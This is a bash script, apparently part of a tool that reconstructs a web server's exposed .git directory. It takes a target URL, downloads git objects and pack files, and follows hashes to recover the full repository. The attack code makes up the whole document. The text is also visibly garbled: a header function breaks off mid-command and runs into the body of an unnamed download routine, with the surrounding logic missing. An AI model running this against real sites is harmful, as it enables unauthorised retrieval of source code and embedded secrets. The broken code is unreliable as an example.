#!/bin/bash #$1 : URL to download .git from (http://target.com/.git/) #$2 : Folder where the .git-directory will be created function init_header() { cat < "$target" #Mark as downloaded and remove it from the queue DOWNLOADED+=("$objname") if [ ! -f "$target" ]; then echo -e "\033[31m[-] Downloaded: $objname\033[0m" return fi echo -e "\033[32m[+] Downloaded: $objname\033[0m" #Check if we have an object hash if [[ "$objname" =~ /[a-f0-9]{2}/[a-f0-9]{38} ]]; then #Switch into $BASEDIR and save current working directory cwd=$(pwd) cd "$BASEDIR" #Restore hash from $objectname hash=$(echo "$objname" | sed -e 's~objects~~g' | sed -e 's~/~~g') #Check if it's valid git object if ! type=$(git cat-file -t "$hash" 2> /dev/null); then #Delete invalid file cd "$cwd" rm "$target" return fi #Parse output of git cat-file -p $hash. Use strings for blobs if [[ "$type" != "blob" ]]; then hashes+=($(git cat-file -p "$hash" | grep -oE "([a-f0-9]{40})")) else hashes+=($(git cat-file -p "$hash" | strings -a | grep -oE "([a-f0-9]{40})")) fi cd "$cwd" fi #Parse file for other objects hashes+=($(cat "$target" | strings -a | grep -oE "([a-f0-9]{40})")) for hash in ${hashes[*]} do QUEUE+=("objects/${hash:0:2}/${hash:2}") done #Parse file for packs packs+=($(cat "$target" | strings -a | grep -oE "(pack\-[a-f0-9]{40})")) for pack in ${packs[*]} do QUEUE+=("objects/pack/$pack.pack") QUEUE+=("objects/pack/$pack.idx") done } start_download